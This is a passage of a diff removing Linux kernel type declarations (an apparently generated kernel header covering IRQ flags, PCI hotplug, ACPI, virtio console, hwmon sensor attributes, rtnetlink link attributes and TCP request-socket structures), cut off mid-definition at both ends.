IRQS_POLL_INPROGRESS = 8, - IRQS_ONESHOT = 32, - IRQS_REPLAY = 64, - IRQS_WAITING = 128, - IRQS_PENDING = 512, - IRQS_SUSPENDED = 2048, - IRQS_TIMINGS = 4096, - IRQS_NMI = 8192, -}; - -enum { - _IRQ_DEFAULT_INIT_FLAGS = 0, - _IRQ_PER_CPU = 512, - _IRQ_LEVEL = 256, - _IRQ_NOPROBE = 1024, - _IRQ_NOREQUEST = 2048, - _IRQ_NOTHREAD = 65536, - _IRQ_NOAUTOEN = 4096, - _IRQ_MOVE_PCNTXT = 16384, - _IRQ_NO_BALANCING = 8192, - _IRQ_NESTED_THREAD = 32768, - _IRQ_PER_CPU_DEVID = 131072, - _IRQ_IS_POLLED = 262144, - _IRQ_DISABLE_UNLAZY = 524288, - _IRQ_HIDDEN = 1048576, - _IRQ_NO_DEBUG = 2097152, - _IRQF_MODIFY_MASK = 2096911, -}; - -struct cpu_rmap { - struct kref refcount; - u16 size; - u16 used; - void **obj; - struct { - u16 index; - u16 dist; - } near[0]; -}; - -struct irq_glue { - struct irq_affinity_notify notify; - struct cpu_rmap *rmap; - u16 index; -}; - -typedef long int mpi_limb_signed_t; - -struct karatsuba_ctx { - struct karatsuba_ctx *next; - mpi_ptr_t tspace; - mpi_size_t tspace_size; - mpi_ptr_t tp; - mpi_size_t tp_size; -}; - -enum asn1_tag { - ASN1_EOC = 0, - ASN1_BOOL = 1, - ASN1_INT = 2, - ASN1_BTS = 3, - ASN1_OTS = 4, - ASN1_NULL = 5, - ASN1_OID = 6, - ASN1_ODE = 7, - ASN1_EXT = 8, - ASN1_REAL = 9, - ASN1_ENUM = 10, - ASN1_EPDV = 11, - ASN1_UTF8STR = 12, - ASN1_RELOID = 13, - ASN1_SEQ = 16, - ASN1_SET = 17, - ASN1_NUMSTR = 18, - ASN1_PRNSTR = 19, - ASN1_TEXSTR = 20, - ASN1_VIDSTR = 21, - ASN1_IA5STR = 22, - ASN1_UNITIM = 23, - ASN1_GENTIM = 24, - ASN1_GRASTR = 25, - ASN1_VISSTR = 26, - ASN1_GENSTR = 27, - ASN1_UNISTR = 28, - ASN1_CHRSTR = 29, - ASN1_BMPSTR = 30, - ASN1_LONG_TAG = 31, -}; - -struct hotplug_slot_ops; - -struct hotplug_slot { - const struct hotplug_slot_ops *ops; - struct list_head slot_list; - struct pci_slot *pci_slot; - struct module *owner; - const char *mod_name; -}; - -enum pci_bus_speed { - PCI_SPEED_33MHz = 0, - PCI_SPEED_66MHz = 1, - PCI_SPEED_66MHz_PCIX = 2, - PCI_SPEED_100MHz_PCIX = 3, - PCI_SPEED_133MHz_PCIX = 4, - PCI_SPEED_66MHz_PCIX_ECC = 5, - PCI_SPEED_100MHz_PCIX_ECC = 6, - PCI_SPEED_133MHz_PCIX_ECC = 7, - PCI_SPEED_66MHz_PCIX_266 = 9, - PCI_SPEED_100MHz_PCIX_266 = 10, - PCI_SPEED_133MHz_PCIX_266 = 11, - AGP_UNKNOWN = 12, - AGP_1X = 13, - AGP_2X = 14, - AGP_4X = 15, - AGP_8X = 16, - PCI_SPEED_66MHz_PCIX_533 = 17, - PCI_SPEED_100MHz_PCIX_533 = 18, - PCI_SPEED_133MHz_PCIX_533 = 19, - PCIE_SPEED_2_5GT = 20, - PCIE_SPEED_5_0GT = 21, - PCIE_SPEED_8_0GT = 22, - PCIE_SPEED_16_0GT = 23, - PCIE_SPEED_32_0GT = 24, - PCIE_SPEED_64_0GT = 25, - PCI_SPEED_UNKNOWN = 255, -}; - -enum { - PCI_REASSIGN_ALL_RSRC = 1, - PCI_REASSIGN_ALL_BUS = 2, - PCI_PROBE_ONLY = 4, - PCI_CAN_SKIP_ISA_ALIGN = 8, - PCI_ENABLE_PROC_DOMAINS = 16, - PCI_COMPAT_DOMAIN_0 = 32, - PCI_SCAN_ALL_PCIE_DEVS = 64, -}; - -struct hotplug_slot_ops { - int (*enable_slot)(struct hotplug_slot *); - int (*disable_slot)(struct hotplug_slot *); - int (*set_attention_status)(struct hotplug_slot *, u8); - int (*hardware_test)(struct hotplug_slot *, u32); - int (*get_power_status)(struct hotplug_slot *, u8 *); - int (*get_attention_status)(struct hotplug_slot *, u8 *); - int (*get_latch_status)(struct hotplug_slot *, u8 *); - int (*get_adapter_status)(struct hotplug_slot *, u8 *); - int (*reset_slot)(struct hotplug_slot *, bool); -}; - -struct pci_domain_busn_res { - struct list_head list; - struct resource res; - int domain_nr; -}; - -enum acpi_bus_device_type { - ACPI_BUS_TYPE_DEVICE = 0, - ACPI_BUS_TYPE_POWER = 1, - ACPI_BUS_TYPE_PROCESSOR = 2, - ACPI_BUS_TYPE_THERMAL = 3, - ACPI_BUS_TYPE_POWER_BUTTON = 4, - ACPI_BUS_TYPE_SLEEP_BUTTON = 5, - ACPI_BUS_TYPE_ECDT_EC = 6, - ACPI_BUS_DEVICE_TYPE_COUNT = 7, -}; - -struct acpi_power_dependent_device { - struct device *dev; - struct list_head node; -}; - -struct acpi_power_resource { - struct acpi_device device; - struct list_head list_node; - u32 system_level; - u32 order; - unsigned int ref_count; - u8 state; - struct mutex resource_lock; - struct list_head dependents; -}; - -struct acpi_power_resource_entry { - struct list_head node; - struct acpi_power_resource *resource; -}; - -struct acpi_gpe_device_info { - u32 index; - u32 next_block_base_index; - acpi_status status; - struct acpi_namespace_node *gpe_device; -}; - -typedef u32 acpi_name; - -typedef u32 (*acpi_sci_handler)(void *); - -typedef void (*acpi_gbl_event_handler)(u32, acpi_handle, u32, void *); - -typedef u32 (*acpi_event_handler)(void *); - -typedef acpi_status (*acpi_init_handler)(acpi_handle, u32); - -typedef acpi_status (*acpi_exception_handler)(acpi_status, acpi_name, u16, u32, void *); - -typedef acpi_status (*acpi_table_handler)(u32, void *, void *); - -typedef u32 (*acpi_interface_handler)(acpi_string, u32); - -struct acpi_table_facs { - char signature[4]; - u32 length; - u32 hardware_signature; - u32 firmware_waking_vector; - u32 global_lock; - u32 flags; - u64 xfirmware_waking_vector; - u8 version; - u8 reserved[3]; - u32 ospm_flags; - u8 reserved1[24]; -}; - -struct acpi_rw_lock { - void *writer_mutex; - void *reader_mutex; - u32 num_readers; -}; - -struct acpi_mutex_info { - void *mutex; - u32 use_count; - u64 thread_id; -}; - -struct acpi_sci_handler_info { - struct acpi_sci_handler_info *next; - acpi_sci_handler address; - void *context; -}; - -struct acpi_fixed_event_handler { - acpi_event_handler handler; - void *context; -}; - -struct acpi_fixed_event_info { - u8 status_register_id; - u8 enable_register_id; - u16 status_bit_mask; - u16 enable_bit_mask; -}; - -struct acpi_comment_node { - char *comment; - struct acpi_comment_node *next; -}; - -struct acpi_bit_register_info { - u8 parent_register; - u8 bit_position; - u16 access_bit_mask; -}; - -struct acpi_interface_info { - char *name; - struct acpi_interface_info *next; - u8 flags; - u8 value; -}; - -struct virtqueue { - struct list_head list; - void (*callback)(struct virtqueue *); - const char *name; - struct virtio_device *vdev; - unsigned int index; - unsigned int num_free; - unsigned int num_max; - void *priv; - bool reset; -}; - -struct virtio_driver { - struct device_driver driver; - const struct virtio_device_id *id_table; - const unsigned int *feature_table; - unsigned int feature_table_size; - const unsigned int *feature_table_legacy; - unsigned int feature_table_size_legacy; - int (*validate)(struct virtio_device *); - int (*probe)(struct virtio_device *); - void (*scan)(struct virtio_device *); - void (*remove)(struct virtio_device *); - void (*config_changed)(struct virtio_device *); - int (*freeze)(struct virtio_device *); - int (*restore)(struct virtio_device *); -}; - -struct virtio_shm_region { - u64 addr; - u64 len; -}; - -typedef __u32 __virtio32; - -struct virtio_console_config { - __virtio16 cols; - __virtio16 rows; - __virtio32 max_nr_ports; - __virtio32 emerg_wr; -}; - -struct virtio_console_control { - __virtio32 id; - __virtio16 event; - __virtio16 value; -}; - -struct hv_ops; - -struct hvc_struct { - struct tty_port port; - spinlock_t lock; - int index; - int do_wakeup; - char *outbuf; - int outbuf_size; - int n_outbuf; - uint32_t vtermno; - const struct hv_ops *ops; - int irq_requested; - int data; - struct winsize ws; - struct work_struct tty_resize; - struct list_head next; - long unsigned int flags; -}; - -struct hv_ops { - int (*get_chars)(uint32_t, char *, int); - int (*put_chars)(uint32_t, const char *, int); - int (*flush)(uint32_t, bool); - int (*notifier_add)(struct hvc_struct *, int); - void (*notifier_del)(struct hvc_struct *, int); - void (*notifier_hangup)(struct hvc_struct *, int); - int (*tiocmget)(struct hvc_struct *); - int (*tiocmset)(struct hvc_struct *, unsigned int, unsigned int); - void (*dtr_rts)(struct hvc_struct *, int); -}; - -struct ports_driver_data { - struct class *class; - struct dentry *debugfs_dir; - struct list_head portdevs; - unsigned int next_vtermno; - struct list_head consoles; -}; - -struct console___2 { - struct list_head list; - struct hvc_struct *hvc; - struct winsize ws; - u32 vtermno; -}; - -struct port_buffer { - char *buf; - size_t size; - size_t len; - size_t offset; - dma_addr_t dma; - struct device *dev; - struct list_head list; - unsigned int sgpages; - struct scatterlist sg[0]; -}; - -struct ports_device { - struct list_head list; - struct work_struct control_work; - struct work_struct config_work; - struct list_head ports; - spinlock_t ports_lock; - spinlock_t c_ivq_lock; - spinlock_t c_ovq_lock; - u32 max_nr_ports; - struct virtio_device *vdev; - struct virtqueue *c_ivq; - struct virtqueue *c_ovq; - struct virtio_console_control cpkt; - struct virtqueue **in_vqs; - struct virtqueue **out_vqs; - int chr_major; -}; - -struct port_stats { - long unsigned int bytes_sent; - long unsigned int bytes_received; - long unsigned int bytes_discarded; -}; - -struct port { - struct list_head list; - struct ports_device *portdev; - struct port_buffer *inbuf; - spinlock_t inbuf_lock; - spinlock_t outvq_lock; - struct virtqueue *in_vq; - struct virtqueue *out_vq; - struct dentry *debugfs_file; - struct port_stats stats; - struct console___2 cons; - struct cdev *cdev; - struct device *dev; - struct kref kref; - wait_queue_head_t waitqueue; - char *name; - struct fasync_struct *async_queue; - u32 id; - bool outvq_full; - bool host_connected; - bool guest_connected; -}; - -struct sg_list { - unsigned int n; - unsigned int size; - size_t len; - struct scatterlist *sg; -}; - -enum hwmon_sensor_types { - hwmon_chip = 0, - hwmon_temp = 1, - hwmon_in = 2, - hwmon_curr = 3, - hwmon_power = 4, - hwmon_energy = 5, - hwmon_humidity = 6, - hwmon_fan = 7, - hwmon_pwm = 8, - hwmon_intrusion = 9, - hwmon_max = 10, -}; - -enum hwmon_chip_attributes { - hwmon_chip_temp_reset_history = 0, - hwmon_chip_in_reset_history = 1, - hwmon_chip_curr_reset_history = 2, - hwmon_chip_power_reset_history = 3, - hwmon_chip_register_tz = 4, - hwmon_chip_update_interval = 5, - hwmon_chip_alarms = 6, - hwmon_chip_samples = 7, - hwmon_chip_curr_samples = 8, - hwmon_chip_in_samples = 9, - hwmon_chip_power_samples = 10, - hwmon_chip_temp_samples = 11, -}; - -enum hwmon_temp_attributes { - hwmon_temp_enable = 0, - hwmon_temp_input = 1, - hwmon_temp_type = 2, - hwmon_temp_lcrit = 3, - hwmon_temp_lcrit_hyst = 4, - hwmon_temp_min = 5, - hwmon_temp_min_hyst = 6, - hwmon_temp_max = 7, - hwmon_temp_max_hyst = 8, - hwmon_temp_crit = 9, - hwmon_temp_crit_hyst = 10, - hwmon_temp_emergency = 11, - hwmon_temp_emergency_hyst = 12, - hwmon_temp_alarm = 13, - hwmon_temp_lcrit_alarm = 14, - hwmon_temp_min_alarm = 15, - hwmon_temp_max_alarm = 16, - hwmon_temp_crit_alarm = 17, - hwmon_temp_emergency_alarm = 18, - hwmon_temp_fault = 19, - hwmon_temp_offset = 20, - hwmon_temp_label = 21, - hwmon_temp_lowest = 22, - hwmon_temp_highest = 23, - hwmon_temp_reset_history = 24, - hwmon_temp_rated_min = 25, - hwmon_temp_rated_max = 26, -}; - -enum hwmon_in_attributes { - hwmon_in_enable = 0, - hwmon_in_input = 1, - hwmon_in_min = 2, - hwmon_in_max = 3, - hwmon_in_lcrit = 4, - hwmon_in_crit = 5, - hwmon_in_average = 6, - hwmon_in_lowest = 7, - hwmon_in_highest = 8, - hwmon_in_reset_history = 9, - hwmon_in_label = 10, - hwmon_in_alarm = 11, - hwmon_in_min_alarm = 12, - hwmon_in_max_alarm = 13, - hwmon_in_lcrit_alarm = 14, - hwmon_in_crit_alarm = 15, - hwmon_in_rated_min = 16, - hwmon_in_rated_max = 17, -}; - -enum hwmon_curr_attributes { - hwmon_curr_enable = 0, - hwmon_curr_input = 1, - hwmon_curr_min = 2, - hwmon_curr_max = 3, - hwmon_curr_lcrit = 4, - hwmon_curr_crit = 5, - hwmon_curr_average = 6, - hwmon_curr_lowest = 7, - hwmon_curr_highest = 8, - hwmon_curr_reset_history = 9, - hwmon_curr_label = 10, - hwmon_curr_alarm = 11, - hwmon_curr_min_alarm = 12, - hwmon_curr_max_alarm = 13, - hwmon_curr_lcrit_alarm = 14, - hwmon_curr_crit_alarm = 15, - hwmon_curr_rated_min = 16, - hwmon_curr_rated_max = 17, -}; - -enum hwmon_power_attributes { - hwmon_power_enable = 0, - hwmon_power_average = 1, - hwmon_power_average_interval = 2, - hwmon_power_average_interval_max = 3, - hwmon_power_average_interval_min = 4, - hwmon_power_average_highest = 5, - hwmon_power_average_lowest = 6, - hwmon_power_average_max = 7, - hwmon_power_average_min = 8, - hwmon_power_input = 9, - hwmon_power_input_highest = 10, - hwmon_power_input_lowest = 11, - hwmon_power_reset_history = 12, - hwmon_power_accuracy = 13, - hwmon_power_cap = 14, - hwmon_power_cap_hyst = 15, - hwmon_power_cap_max = 16, - hwmon_power_cap_min = 17, - hwmon_power_min = 18, - hwmon_power_max = 19, - hwmon_power_crit = 20, - hwmon_power_lcrit = 21, - hwmon_power_label = 22, - hwmon_power_alarm = 23, - hwmon_power_cap_alarm = 24, - hwmon_power_min_alarm = 25, - hwmon_power_max_alarm = 26, - hwmon_power_lcrit_alarm = 27, - hwmon_power_crit_alarm = 28, - hwmon_power_rated_min = 29, - hwmon_power_rated_max = 30, -}; - -enum hwmon_energy_attributes { - hwmon_energy_enable = 0, - hwmon_energy_input = 1, - hwmon_energy_label = 2, -}; - -enum hwmon_humidity_attributes { - hwmon_humidity_enable = 0, - hwmon_humidity_input = 1, - hwmon_humidity_label = 2, - hwmon_humidity_min = 3, - hwmon_humidity_min_hyst = 4, - hwmon_humidity_max = 5, - hwmon_humidity_max_hyst = 6, - hwmon_humidity_alarm = 7, - hwmon_humidity_fault = 8, - hwmon_humidity_rated_min = 9, - hwmon_humidity_rated_max = 10, -}; - -enum hwmon_fan_attributes { - hwmon_fan_enable = 0, - hwmon_fan_input = 1, - hwmon_fan_label = 2, - hwmon_fan_min = 3, - hwmon_fan_max = 4, - hwmon_fan_div = 5, - hwmon_fan_pulses = 6, - hwmon_fan_target = 7, - hwmon_fan_alarm = 8, - hwmon_fan_min_alarm = 9, - hwmon_fan_max_alarm = 10, - hwmon_fan_fault = 11, -}; - -enum hwmon_pwm_attributes { - hwmon_pwm_input = 0, - hwmon_pwm_enable = 1, - hwmon_pwm_mode = 2, - hwmon_pwm_freq = 3, - hwmon_pwm_auto_channels_temp = 4, -}; - -enum hwmon_intrusion_attributes { - hwmon_intrusion_alarm = 0, - hwmon_intrusion_beep = 1, -}; - -struct hwmon_ops { - umode_t (*is_visible)(const void *, enum hwmon_sensor_types, u32, int); - int (*read)(struct device *, enum hwmon_sensor_types, u32, int, long int *); - int (*read_string)(struct device *, enum hwmon_sensor_types, u32, int, const char **); - int (*write)(struct device *, enum hwmon_sensor_types, u32, int, long int); -}; - -struct hwmon_channel_info { - enum hwmon_sensor_types type; - const u32 *config; -}; - -struct hwmon_chip_info { - const struct hwmon_ops *ops; - const struct hwmon_channel_info **info; -}; - -struct trace_event_raw_hwmon_attr_class { - struct trace_entry ent; - int index; - u32 __data_loc_attr_name; - long int val; - char __data[0]; -}; - -struct trace_event_raw_hwmon_attr_show_string { - struct trace_entry ent; - int index; - u32 __data_loc_attr_name; - u32 __data_loc_label; - char __data[0]; -}; - -struct trace_event_data_offsets_hwmon_attr_class { - u32 attr_name; -}; - -struct trace_event_data_offsets_hwmon_attr_show_string { - u32 attr_name; - u32 label; -}; - -typedef void (*btf_trace_hwmon_attr_show)(void *, int, const char *, long int); - -typedef void (*btf_trace_hwmon_attr_store)(void *, int, const char *, long int); - -typedef void (*btf_trace_hwmon_attr_show_string)(void *, int, const char *, const char *); - -struct hwmon_device { - const char *name; - const char *label; - struct device dev; - const struct hwmon_chip_info *chip; - struct list_head tzdata; - struct attribute_group group; - const struct attribute_group **groups; -}; - -struct hwmon_device_attribute { - struct device_attribute dev_attr; - const struct hwmon_ops *ops; - enum hwmon_sensor_types type; - u32 attr; - int index; - char name[32]; -}; - -struct gnet_stats_rate_est64 { - __u64 bps; - __u64 pps; -}; - -struct gnet_estimator { - signed char interval; - unsigned char ewma_log; -}; - -struct net_rate_estimator { - struct gnet_stats_basic_sync *bstats; - spinlock_t *stats_lock; - bool running; - struct gnet_stats_basic_sync *cpu_bstats; - u8 ewma_log; - u8 intvl_log; - seqcount_t seq; - u64 last_packets; - u64 last_bytes; - u64 avpps; - u64 avbps; - long unsigned int next_jiffies; - struct timer_list timer; - struct callback_head rcu; -}; - -struct rtnl_link_stats { - __u32 rx_packets; - __u32 tx_packets; - __u32 rx_bytes; - __u32 tx_bytes; - __u32 rx_errors; - __u32 tx_errors; - __u32 rx_dropped; - __u32 tx_dropped; - __u32 multicast; - __u32 collisions; - __u32 rx_length_errors; - __u32 rx_over_errors; - __u32 rx_crc_errors; - __u32 rx_frame_errors; - __u32 rx_fifo_errors; - __u32 rx_missed_errors; - __u32 tx_aborted_errors; - __u32 tx_carrier_errors; - __u32 tx_fifo_errors; - __u32 tx_heartbeat_errors; - __u32 tx_window_errors; - __u32 rx_compressed; - __u32 tx_compressed; - __u32 rx_nohandler; -}; - -struct rtnl_link_ifmap { - __u64 mem_start; - __u64 mem_end; - __u64 base_addr; - __u16 irq; - __u8 dma; - __u8 port; -}; - -enum { - IFLA_PROTO_DOWN_REASON_UNSPEC = 0, - IFLA_PROTO_DOWN_REASON_MASK = 1, - IFLA_PROTO_DOWN_REASON_VALUE = 2, - __IFLA_PROTO_DOWN_REASON_CNT = 3, - IFLA_PROTO_DOWN_REASON_MAX = 2, -}; - -enum { - IFLA_BRPORT_UNSPEC = 0, - IFLA_BRPORT_STATE = 1, - IFLA_BRPORT_PRIORITY = 2, - IFLA_BRPORT_COST = 3, - IFLA_BRPORT_MODE = 4, - IFLA_BRPORT_GUARD = 5, - IFLA_BRPORT_PROTECT = 6, - IFLA_BRPORT_FAST_LEAVE = 7, - IFLA_BRPORT_LEARNING = 8, - IFLA_BRPORT_UNICAST_FLOOD = 9, - IFLA_BRPORT_PROXYARP = 10, - IFLA_BRPORT_LEARNING_SYNC = 11, - IFLA_BRPORT_PROXYARP_WIFI = 12, - IFLA_BRPORT_ROOT_ID = 13, - IFLA_BRPORT_BRIDGE_ID = 14, - IFLA_BRPORT_DESIGNATED_PORT = 15, - IFLA_BRPORT_DESIGNATED_COST = 16, - IFLA_BRPORT_ID = 17, - IFLA_BRPORT_NO = 18, - IFLA_BRPORT_TOPOLOGY_CHANGE_ACK = 19, - IFLA_BRPORT_CONFIG_PENDING = 20, - IFLA_BRPORT_MESSAGE_AGE_TIMER = 21, - IFLA_BRPORT_FORWARD_DELAY_TIMER = 22, - IFLA_BRPORT_HOLD_TIMER = 23, - IFLA_BRPORT_FLUSH = 24, - IFLA_BRPORT_MULTICAST_ROUTER = 25, - IFLA_BRPORT_PAD = 26, - IFLA_BRPORT_MCAST_FLOOD = 27, - IFLA_BRPORT_MCAST_TO_UCAST = 28, - IFLA_BRPORT_VLAN_TUNNEL = 29, - IFLA_BRPORT_BCAST_FLOOD = 30, - IFLA_BRPORT_GROUP_FWD_MASK = 31, - IFLA_BRPORT_NEIGH_SUPPRESS = 32, - IFLA_BRPORT_ISOLATED = 33, - IFLA_BRPORT_BACKUP_PORT = 34, - IFLA_BRPORT_MRP_RING_OPEN = 35, - IFLA_BRPORT_MRP_IN_OPEN = 36, - IFLA_BRPORT_MCAST_EHT_HOSTS_LIMIT = 37, - IFLA_BRPORT_MCAST_EHT_HOSTS_CNT = 38, - IFLA_BRPORT_LOCKED = 39, - IFLA_BRPORT_MAB = 40, - __IFLA_BRPORT_MAX = 41, -}; - -enum { - IFLA_INFO_UNSPEC = 0, - IFLA_INFO_KIND = 1, - IFLA_INFO_DATA = 2, - IFLA_INFO_XSTATS = 3, - IFLA_INFO_SLAVE_KIND = 4, - IFLA_INFO_SLAVE_DATA = 5, - __IFLA_INFO_MAX = 6, -}; - -enum { - IFLA_VF_INFO_UNSPEC = 0, - IFLA_VF_INFO = 1, - __IFLA_VF_INFO_MAX = 2, -}; - -enum { - IFLA_VF_UNSPEC = 0, - IFLA_VF_MAC = 1, - IFLA_VF_VLAN = 2, - IFLA_VF_TX_RATE = 3, - IFLA_VF_SPOOFCHK = 4, - IFLA_VF_LINK_STATE = 5, - IFLA_VF_RATE = 6, - IFLA_VF_RSS_QUERY_EN = 7, - IFLA_VF_STATS = 8, - IFLA_VF_TRUST = 9, - IFLA_VF_IB_NODE_GUID = 10, - IFLA_VF_IB_PORT_GUID = 11, - IFLA_VF_VLAN_LIST = 12, - IFLA_VF_BROADCAST = 13, - __IFLA_VF_MAX = 14, -}; - -struct ifla_vf_mac { - __u32 vf; - __u8 mac[32]; -}; - -struct ifla_vf_broadcast { - __u8 broadcast[32]; -}; - -struct ifla_vf_vlan { - __u32 vf; - __u32 vlan; - __u32 qos; -}; - -enum { - IFLA_VF_VLAN_INFO_UNSPEC = 0, - IFLA_VF_VLAN_INFO = 1, - __IFLA_VF_VLAN_INFO_MAX = 2, -}; - -struct ifla_vf_vlan_info { - __u32 vf; - __u32 vlan; - __u32 qos; - __be16 vlan_proto; -}; - -struct ifla_vf_tx_rate { - __u32 vf; - __u32 rate; -}; - -struct ifla_vf_rate { - __u32 vf; - __u32 min_tx_rate; - __u32 max_tx_rate; -}; - -struct ifla_vf_spoofchk { - __u32 vf; - __u32 setting; -}; - -struct ifla_vf_link_state { - __u32 vf; - __u32 link_state; -}; - -struct ifla_vf_rss_query_en { - __u32 vf; - __u32 setting; -}; - -enum { - IFLA_VF_STATS_RX_PACKETS = 0, - IFLA_VF_STATS_TX_PACKETS = 1, - IFLA_VF_STATS_RX_BYTES = 2, - IFLA_VF_STATS_TX_BYTES = 3, - IFLA_VF_STATS_BROADCAST = 4, - IFLA_VF_STATS_MULTICAST = 5, - IFLA_VF_STATS_PAD = 6, - IFLA_VF_STATS_RX_DROPPED = 7, - IFLA_VF_STATS_TX_DROPPED = 8, - __IFLA_VF_STATS_MAX = 9, -}; - -struct ifla_vf_trust { - __u32 vf; - __u32 setting; -}; - -enum { - IFLA_VF_PORT_UNSPEC = 0, - IFLA_VF_PORT = 1, - __IFLA_VF_PORT_MAX = 2, -}; - -enum { - IFLA_PORT_UNSPEC = 0, - IFLA_PORT_VF = 1, - IFLA_PORT_PROFILE = 2, - IFLA_PORT_VSI_TYPE = 3, - IFLA_PORT_INSTANCE_UUID = 4, - IFLA_PORT_HOST_UUID = 5, - IFLA_PORT_REQUEST = 6, - IFLA_PORT_RESPONSE = 7, - __IFLA_PORT_MAX = 8, -}; - -struct if_stats_msg { - __u8 family; - __u8 pad1; - __u16 pad2; - __u32 ifindex; - __u32 filter_mask; -}; - -enum { - IFLA_STATS_UNSPEC = 0, - IFLA_STATS_LINK_64 = 1, - IFLA_STATS_LINK_XSTATS = 2, - IFLA_STATS_LINK_XSTATS_SLAVE = 3, - IFLA_STATS_LINK_OFFLOAD_XSTATS = 4, - IFLA_STATS_AF_SPEC = 5, - __IFLA_STATS_MAX = 6, -}; - -enum { - IFLA_STATS_GETSET_UNSPEC = 0, - IFLA_STATS_GET_FILTERS = 1, - IFLA_STATS_SET_OFFLOAD_XSTATS_L3_STATS = 2, - __IFLA_STATS_GETSET_MAX = 3, -}; - -enum { - IFLA_OFFLOAD_XSTATS_UNSPEC = 0, - IFLA_OFFLOAD_XSTATS_CPU_HIT = 1, - IFLA_OFFLOAD_XSTATS_HW_S_INFO = 2, - IFLA_OFFLOAD_XSTATS_L3_STATS = 3, - __IFLA_OFFLOAD_XSTATS_MAX = 4, -}; - -enum { - IFLA_OFFLOAD_XSTATS_HW_S_INFO_UNSPEC = 0, - IFLA_OFFLOAD_XSTATS_HW_S_INFO_REQUEST = 1, - IFLA_OFFLOAD_XSTATS_HW_S_INFO_USED = 2, - __IFLA_OFFLOAD_XSTATS_HW_S_INFO_MAX = 3, -}; - -enum { - XDP_ATTACHED_NONE = 0, - XDP_ATTACHED_DRV = 1, - XDP_ATTACHED_SKB = 2, - XDP_ATTACHED_HW = 3, - XDP_ATTACHED_MULTI = 4, -}; - -enum { - IFLA_XDP_UNSPEC = 0, - IFLA_XDP_FD = 1, - IFLA_XDP_ATTACHED = 2, - IFLA_XDP_FLAGS = 3, - IFLA_XDP_PROG_ID = 4, - IFLA_XDP_DRV_PROG_ID = 5, - IFLA_XDP_SKB_PROG_ID = 6, - IFLA_XDP_HW_PROG_ID = 7, - IFLA_XDP_EXPECTED_FD = 8, - __IFLA_XDP_MAX = 9, -}; - -enum { - IFLA_EVENT_NONE = 0, - IFLA_EVENT_REBOOT = 1, - IFLA_EVENT_FEATURES = 2, - IFLA_EVENT_BONDING_FAILOVER = 3, - IFLA_EVENT_NOTIFY_PEERS = 4, - IFLA_EVENT_IGMP_RESEND = 5, - IFLA_EVENT_BONDING_OPTIONS = 6, -}; - -struct netdev_hw_addr { - struct list_head list; - struct rb_node node; - unsigned char addr[32]; - unsigned char type; - bool global_use; - int sync_cnt; - int refcount; - int synced; - struct callback_head callback_head; -}; - -enum netdev_offload_xstats_type { - NETDEV_OFFLOAD_XSTATS_TYPE_L3 = 1, -}; - -enum { - IFLA_BRIDGE_FLAGS = 0, - IFLA_BRIDGE_MODE = 1, - IFLA_BRIDGE_VLAN_INFO = 2, - IFLA_BRIDGE_VLAN_TUNNEL_INFO = 3, - IFLA_BRIDGE_MRP = 4, - IFLA_BRIDGE_CFM = 5, - IFLA_BRIDGE_MST = 6, - __IFLA_BRIDGE_MAX = 7, -}; - -enum { - BR_MCAST_DIR_RX = 0, - BR_MCAST_DIR_TX = 1, - BR_MCAST_DIR_SIZE = 2, -}; - -enum rtattr_type_t { - RTA_UNSPEC = 0, - RTA_DST = 1, - RTA_SRC = 2, - RTA_IIF = 3, - RTA_OIF = 4, - RTA_GATEWAY = 5, - RTA_PRIORITY = 6, - RTA_PREFSRC = 7, - RTA_METRICS = 8, - RTA_MULTIPATH = 9, - RTA_PROTOINFO = 10, - RTA_FLOW = 11, - RTA_CACHEINFO = 12, - RTA_SESSION = 13, - RTA_MP_ALGO = 14, - RTA_TABLE = 15, - RTA_MARK = 16, - RTA_MFC_STATS = 17, - RTA_VIA = 18, - RTA_NEWDST = 19, - RTA_PREF = 20, - RTA_ENCAP_TYPE = 21, - RTA_ENCAP = 22, - RTA_EXPIRES = 23, - RTA_PAD = 24, - RTA_UID = 25, - RTA_TTL_PROPAGATE = 26, - RTA_IP_PROTO = 27, - RTA_SPORT = 28, - RTA_DPORT = 29, - RTA_NH_ID = 30, - __RTA_MAX = 31, -}; - -struct rta_cacheinfo { - __u32 rta_clntref; - __u32 rta_lastuse; - __s32 rta_expires; - __u32 rta_error; - __u32 rta_used; - __u32 rta_id; - __u32 rta_ts; - __u32 rta_tsage; -}; - -struct ifinfomsg { - unsigned char ifi_family; - unsigned char __ifi_pad; - short unsigned int ifi_type; - int ifi_index; - unsigned int ifi_flags; - unsigned int ifi_change; -}; - -enum rtnl_link_flags { - RTNL_FLAG_DOIT_UNLOCKED = 1, - RTNL_FLAG_BULK_DEL_SUPPORTED = 2, -}; - -enum rtnl_kinds { - RTNL_KIND_NEW = 0, - RTNL_KIND_DEL = 1, - RTNL_KIND_GET = 2, - RTNL_KIND_SET = 3, -}; - -struct rtnl_af_ops { - struct list_head list; - int family; - int (*fill_link_af)(struct sk_buff *, const struct net_device *, u32); - size_t (*get_link_af_size)(const struct net_device *, u32); - int (*validate_link_af)(const struct net_device *, const struct nlattr *, struct netlink_ext_ack *); - int (*set_link_af)(struct net_device *, const struct nlattr *, struct netlink_ext_ack *); - int (*fill_stats_af)(struct sk_buff *, const struct net_device *); - size_t (*get_stats_af_size)(const struct net_device *); -}; - -struct rtnl_link { - rtnl_doit_func doit; - rtnl_dumpit_func dumpit; - struct module *owner; - unsigned int flags; - struct callback_head rcu; -}; - -struct rtnl_newlink_tbs { - struct nlattr *tb[63]; - struct nlattr *attr[51]; - struct nlattr *slave_attr[41]; -}; - -struct rtnl_offload_xstats_request_used { - bool request; - bool used; -}; - -struct rtnl_stats_dump_filters { - u32 mask[6]; -}; - -struct ipt_replace { - char name[32]; - unsigned int valid_hooks; - unsigned int num_entries; - unsigned int size; - unsigned int hook_entry[5]; - unsigned int underflow[5]; - unsigned int num_counters; - struct xt_counters *counters; - struct ipt_entry entries[0]; -}; - -struct tcp_request_sock_ops; - -struct tcp_request_sock { - struct inet_request_sock req; - const struct tcp_request_sock_ops *af_specific; - u64 snt_synack; - bool tfo_listener; - bool is_mptcp; - bool drop_req; - u32 txhash; - u32 rcv_isn; - u32 snt_isn; - u32 ts_off; - u32 last_oow_ack_time; - u32 rcv_nxt; - u8 syn_tos; -}; - -enum tcp_synack_type { - TCP_SYNACK_NORMAL = 0, - TCP_SYNACK_FASTOPEN = 1, - TCP_SYNACK_COOKIE = 2, -}; - -struct tcp_request_sock_ops { - u16 mss_clamp; - struct tcp_md5sig_key * (*req_md5_lookup)(const struct sock *, const struct sock *); - int (*calc_md5_hash)(char *, const struct tcp_md5sig_key *, const struct sock *, const struct sk_buff *); - __u32 (*cookie_init_seq)(const struct sk_buff *, 